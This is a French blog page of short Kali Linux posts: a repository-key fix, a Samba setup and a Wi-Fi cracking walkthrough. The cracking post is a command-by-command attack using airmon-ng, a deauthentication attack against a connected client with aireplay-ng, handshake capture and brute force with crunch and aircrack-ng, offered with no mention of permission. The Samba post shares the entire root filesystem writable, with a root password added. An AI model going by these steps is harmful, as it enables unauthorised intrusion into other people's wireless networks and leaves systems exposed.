Erreur apt-get update W: An error occurred during the signature verification. sur Kali

Rédigé par hack4 - - aucun commentaire

Vous avez le problème suivant en lançant la commande apt-get update ?

The following signatures were invalid: EXPKEYSIG ******************* Kali Linux Repository Fetched 30.5 kB in 0s (31.5 kB/s) Reading package lists... Done W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: http://archive-4.kali.org/kali kali-rolling InRelease: The following signatures were invalid: EXPKEYSIG *********** Kali Linux Repository W: Failed to fetch http://http.kali.org/kali/dists/kali-rolling/InRelease The following signatures were invalid: EXPKEYSIG ************Kali Linux Repository W: Some index files failed to download. They have been ignored, or old ones used instead.

Solution : wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add

Installer Samba sur Linux pour partager sur Windows

Rédigé par hack4 - - aucun commentaire

apt-get update
apt-get install samba

Dans /etc/samba/smb.conf ajoutez

[data]
comment = Data share
path = /
browseable = yes
read only = no

Puis faites la commande : testparm

Ensuite faites la commande : service smbd restart

Vous pouvez ajouter un user avec ce type de commande : smbpasswd -a root

Cracker un reseau Wifi avec Aircrack-ng sur Kali Linux

Rédigé par hack4 - - aucun commentaire

Voici la liste des commandes à taper pour cracker un code Wifi. En rouge les informations à changer.

Lister les cartes Wifi :

  • airmon-ng

Mettre la carte Wifi en mode ecoute (on remplace wlan1 par la carte):

  • airmon-ng start wlan1

Voir les réseaux Wifi :

  • airodump-ng wlan1mon (On note le BSSID, le CH et le ESSID)

Trouver l'adresse MAC d'une station connectée : (on laisse tourner ce terminal)

  • airodump-ng wlan1mon --bssid BSSID --channel CH --write nom_fichier

Attaque de la cible : (dans un nouveau terminal)

  • aireplay-ng -0 0 -a BSSID -c MAC wlan1mon

On retrouve le "nom_fichier.cap" pour la suite

On decrypte le password Wifi fait de chiffre (4 à 8 chiffres) :

  • crunch 4 8 0123456789 | aircrack-ng -e ESSID -w - nom_fichier.cap

On decrypte le password Wifi fait de lettre et chiffre (4 à 8 caractères) :

  • crunch 4 8 abcdefghilaopqrsabcuefghilmnopqrstvz0123456789 | aircrack-ng -e ESSID -w - nom_fichier.cap

On decrypte le password Wifi grâce à un dictionnaire :

  • aircrack-ng -w dico.txt -0 nom_fichier.cap

Pour le dictionnaire il exite des dicos de password et mots en tout genre sur le web, on vous laisse chercher :)

Fil Rss des articles de cette catégorie